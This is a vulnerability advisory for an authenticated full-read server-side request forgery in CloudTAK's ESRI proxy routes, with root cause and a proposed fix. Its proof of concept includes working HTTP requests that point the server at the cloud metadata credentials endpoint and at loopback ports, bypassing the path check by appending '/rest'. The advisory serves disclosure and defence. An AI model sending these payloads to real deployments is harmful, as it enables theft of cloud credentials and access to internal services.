CloudTAK CVE-2026-55177

Authenticated full-read SSRF in CloudTAK /api/esri* routes - user-controlled URL fetched with no IP-classification guard

Summary

Every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.

Any authenticated user (the routes only require Auth.is_auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC.

This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.

The sniff() URL classifier provides no protection: it only pattern-matches the *pathname* (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched.

Affected versions

• All versions up to and including 13.7.0 (latest at time of report).

The project already ships an SSRF guard helper - isSafeUrl from @tak-ps/node-safeurl - and wires it into the basemap, task, and video-service code paths, but the entire /api/esri* route family and the ESRI fetch library (api/lib/esri.ts) were never wired up, leaving the guard absent on this surface.

Vulnerable code

All permalinks are pinned to commit c7433679d2107fa0258e9005069bc5b4ca5773aa (release lineage of 13.7.0).

Routes - user input → ESRI fetch, no guard (api/routes/esri.ts):

• POST /api/esri - body url → new URL(req.body.url) → EsriBase.from(url):

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64

• GET /api/esri/portal - query portal → new EsriBase(req.query.portal) → EsriProxyPortal.getPortal():

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98

• GET /api/esri/portal/content - query portal → EsriProxyPortal.getContent():

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139

• GET /api/esri/portal/server - query portal → EsriProxyPortal.getServers():

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212

• GET /api/esri/server - query server → EsriProxyServer.getList():

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249

• GET /api/esri/server/layer - query layer → EsriProxyLayer.sample():

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356

Library - the fetch sinks (api/lib/esri.ts), all reached with the user URL and none preceded by a guard:

• import { fetch } from '@tak-ps/etl';

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6

• EsriBase.fetchVersion() - const res = await fetch(url);

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187

• EsriBase.generateToken() - fetch(url, { method: 'POST', ... })

https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107

• EsriProxyPortal.getContent / getPortal / getSelf / getServers / createService - fetch at lines 283, 301, 330, 347, 371
• EsriProxyServer.deleteLayer / createLayer / getList - fetch at lines 407, 433, 455
• EsriProxyLayer.tilejson / #sampleFeatures - fetch at lines 503, 552

sniff() only inspects the pathname (no host/IP check): https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156

The guard exists elsewhere but is missing here - for comparison, the basemap import path classifies the URL before fetching: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90

Note also that the ESRI sub-branch inside basemap.ts (isEsriLayerURL(...) → new EsriBase(...) → EsriProxyLayer.tilejson()) reaches the same unguarded ESRI library and is therefore equally affected: https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773

grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts returns 0 and 0.

Proof of concept

Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account - the routes only call Auth.is_auth(config, req, { anyResources: true })).

1. Read cloud instance metadata (credential theft)

POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }

The server's EsriBase.from() calls fetchVersion() → fetch('http://169.254.169.254/...?f=json'). The path contains /rest, so sniff() classifies it as SERVER and the request proceeds. The metadata service's response body is read back to the attacker - either inside the successful JSON response, or reflected in the error string (ESRI Server Error: <upstream body fragment>). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.

2. Read an internal-only service over loopback / VPC (full-read)

GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>

new EsriBase('http://127.0.0.1:8500/rest') → EsriProxyServer.getList() → fetch('http://127.0.0.1:8500/rest?f=json'). The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via res.json(list).

GET /api/esri/portal?portal=http://<internal-host>/sharing/rest and GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1 give the same full-read primitive on the other sub-routes.

3. Negative control - unauthenticated is rejected

POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }

Returns 403 Authentication Required (from Auth.is_auth → api/lib/auth.ts:118). The SSRF is reachable by any authenticated user but not by an anonymous one.

E2E reproduction (sink path against a controlled internal victim)

Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the same fetch import (@tak-ps/etl) and the verbatim EsriBase.sniff() + fetchVersion() logic the route uses. The harness models the route handler exactly: it new URL()s the user input, runs sniff(), then fetch()s - with isSafeUrl deliberately *not* called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).

Victim (victim.mjs) - an internal-only service on 127.0.0.1:9099 returning a secret JSON body:

[victim] internal service listening on 127.0.0.1:9099
[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1

Harness output (esri_ssrf_e2e.mjs), user-supplied URL http://127.0.0.1:9099/arcgis/rest:

[VULN/no-guard] route returned full internal body:
{
  "type": "SERVER",
  "base": "http://127.0.0.1:9099/arcgis/rest",
  "upstreamBody": {
    "currentVersion": "11.4",
    "internal-only": true,
    "aws-metadata-simulated": {
      "iam": { "role": "cloudtak-prod-instance-role", "AccessKeyId": "ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE" }
    },
    "note": "If you can read this from a user-supplied URL, that is SSRF (full-read)."
  }
}
[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1

And isSafeUrl confirms it *would* block the metadata / loopback targets if it were called on this path:

http://169.254.169.254/latest/meta-data/ => {"safe":false, ... "reason":"blocked IP address: 169.254.169.254"}
http://127.0.0.1:9999/                  => {"safe":false, ... "reason":"blocked IP address: 127.0.0.1"}
http://localhost/                       => {"safe":false, ... "reason":"blocked hostname: localhost"}

So: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style isSafeUrl guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route's fetch path.)

Root cause

Two compounding gaps:

1. No IP/DNS classification before fetch. api/lib/esri.ts imports the unguarded fetch from @tak-ps/etl and calls it with a URL derived directly from user input in every EsriProxy* method and in EsriBase.fetchVersion() / generateToken(). Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on @tak-ps/node-safeurl (isSafeUrl) precisely for this, and uses it in api/routes/basemap.ts, api/routes/task.ts, and api/lib/control/video-service.ts - but the guard was never added to the ESRI route family or to the ESRI library. This is an incomplete migration: the SafeURL hardening (PR #1468) covered basemap/task/video but left /api/esri* and api/lib/esri.ts (including the ESRI sub-branch of basemap import) unprotected.
2. sniff() validates the wrong thing. The only inspection the URL receives before being fetched is EsriBase.sniff(), which pattern-matches the *pathname* for /rest, /arcgis/rest, or /sharing/rest. It never looks at the host, so an attacker simply appends /rest (or /arcgis/rest) to an internal URL and it is accepted and fetched.

Impact

• CWE-918 Server-Side Request Forgery, full-read.
• Cloud credential theft: reading http://169.254.169.254/latest/meta-data/iam/security-credentials/... (IMDSv1) yields the instance role's temporary AWS credentials, which an attacker can use against the deployment's cloud account.
• Internal network enumeration and data exfiltration: any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.
• Privilege required: any authenticated user with any token (anyResources: true) - not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.

Fix

Centralize the existing isSafeUrl guard inside the ESRI library so every /api/esri* route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in basemap.ts:

• Add an async URL-classification step that runs isSafeUrl(...) and throws Blocked URL: <reason> for any URL that resolves to a private/loopback/link-local address, before the first fetch in EsriBase (e.g. in EsriBase.from() and a guarded constructor/init path, so both new EsriBase(...) + later proxy calls and EsriBase.from(...) are covered).
• Preserve the existing process.env.StackName !== 'test' test-mode skip used elsewhere so the test suite is unaffected.

Because all six routes funnel through EsriBase / the EsriProxy* classes in api/lib/esri.ts, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.

Disclosure

• Reported by tonghuaroot.
• Credit: tonghuaroot only.

---

Reference fix PR (private advisory fork): https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 - commit ff6dd1d9, centralizing isSafeUrl inside api/lib/esri.ts (safeFetch wrapper + EsriBase.assertSafe).